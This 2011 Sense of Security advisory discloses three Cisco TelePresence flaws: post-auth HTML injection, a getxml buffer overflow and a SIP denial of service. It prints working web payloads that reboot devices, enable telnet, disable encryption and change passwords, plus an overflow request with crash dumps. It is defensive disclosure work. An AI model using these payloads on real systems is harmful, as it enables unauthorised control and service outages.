Sense of Security	Authorisation. Jason Edelstein
	Release date. 19 September 2011.

Sense of Security – Security Advisory – SOS-11-010.

Cisco TelePresence Multiple Vulnerabilities.

19 September 2011.

Cisco TelePresence Multiple Vulnerabilities - Security Advisory - SOS-11-010

Release Date.	19-Sep-2011
Last Update.	-
Vendor Notification Date.	21-Feb-2011
Product.	Cisco TelePresence Series
Platform.	Cisco
Affected versions.	C <= TC4.1.2, MXP <= F9.1
Severity Rating.	Low - Medium
Impact.	Cookie/credential theft, impersonation, loss of confidentiality, client-side code execution, denial of service.
Solution Status.	Vendor patch
References.	1. CVE-2011-2544 (CSCtq46488) 2. CVE-2011-2543 (CSCtq46496) 3. CVE-2011-2577 (CSCtq46500)

Details.

Cisco TelePresence is an umbrella term for Video Conferencing Hardware and Software, Infrastructure and Endpoints. The C & MXP Series are the Endpoints used on desks or in boardrooms to provide users with a termination point for Video Conferencing.

1. Post-authentication HTML Injection - CVE-2011-2544 (CSCtq46488):

Cisco TelePresence Endpoints have a web interface (HTTP or HTTPS) for managing, configuring and reporting.

It is possible to set the Call ID (with H.323 or SIP) to a HTML value.

If a call is made to another endpoint and an authenticated user browses to the web interface on the endpoint receiving the call (e.g. to view call statistics), the HTML will render locally within the context of the logged in user. From this point it is possible to make changes to the system as the authenticated user.

The flaw is due to the flexibility of the H.323 ID or SIP Display Name fields and failure to correctly validate user input.

Examples (MXP):

Rebooting the system:

```
<IMG SRC="/reboot&Yes=please">.
```

The attacker may also choose to change passwords in the system, disable encryption or enable telnet:

```
<IMG SRC=/html_select_status?reload=other.ssi&telnet=On>
```

```
<IMG
SRC=/html_select_status?reload=security.ssi&/Configuration/Con
ference/Encryption/Mode=Off&/Configuration/SystemUnit/Password
=test>
```

2. Post-authentication Memory Corruption - CVE-2011-2543 (CSCtq46496):

Cisco TelePresence systems (Endpoints and Infrastructure) use XPath for setting and getting configuration.

Example syntax is:

```
http://ip/getxml?location=/Configuration/Video
```

The request is sent to a locally listening shell (tshell). This is the case for all requests relating to performing an action on the system (e.g. config get or set). The shell then sends the input to the 'main' application (/app/main, id=0), and the data is passed as a parameter.

It was discovered that the getXML handle does not properly perform length checking on the user supplied input before passing it to the tshell. Furthermore, there is no length checking performed in the tshell and no bounds checking performed in the main application where the parameter is consumed. As such, it is possible to send input that exceeds the size of the receiving buffer, subsequently causing an invalid address to be read. This causes a reboot on the Endpoints. The VCS will not reboot, the process will crash by SIGSEGV (or sigabrt) but it will restart the process itself which drops all calls.

Proof of Concept:

```
GET
/wsgi/getxml?location="+("A"*5200)+("\x60"*4)+("X"*4)+"HTTP/1.
1\r\n

Host: 192.168.6.99\r\n\r\n"


Illegal memory access at: 0x5858585c

Registers:

GPR00: 00f2c908 129e5960 129ef920 00000005  00000040 0000000c
00000037 0f315580

GPR08: 00000005 129e5a70 129e5a80 58585858  0f3272d4 11589858
129e6896 0000000b

GPR16: 129e6084 11164a1c 00000000 129e6894  00000037 1299ca18
00000005 00000002

GPR24: 129e59a8 00000002 0f3ea3a4 129e5a64  00000037 00000005
0f410bac 129e5960

GPR24: 129e59a8 00000002 0f3ea3a4 129e5a64  00000037 00000005
0f410bac 129e5960

NIP:  0f39abc8 MSR:  0000d032 OGPR3: 00000002
```

As you can see, the crash string is passed as a parameter in GPR 8.

The severity issue is compounded by the fact that the main application runs as root, this could potentially lead to arbitrary code execution.

3. Pre-authentication SIP Denial of Service - CVE-2011-2577 (CSCtq46500):

Cisco TelePresence Endpoints utilise SIP for the call setup protocol.

Sending a SIP INVITE with a 4x8 a's in the MAC Address field and the receive field causes the system to reboot.

For more information please see:

http://www.cisco.com/en/US/products/products_security_advisory09186a0080b91395.shtml

Proof of Concept:

MXP:

```
Exception 0x1100        : Data TLB load miss
Active task             : FsmMain
FSM process             : SipTrnsp(0)
FSM message             : SipTrnsp_Send_Msg_Req from SipTrnsp(0)
Data TLB miss (DMISS) : 0x00000000 (illegal addr. accessed)
```

Solution.

Upgrade to TC4.2 for the C series to fix validation issues.

Discovered by.

David Klein from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-11-010.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php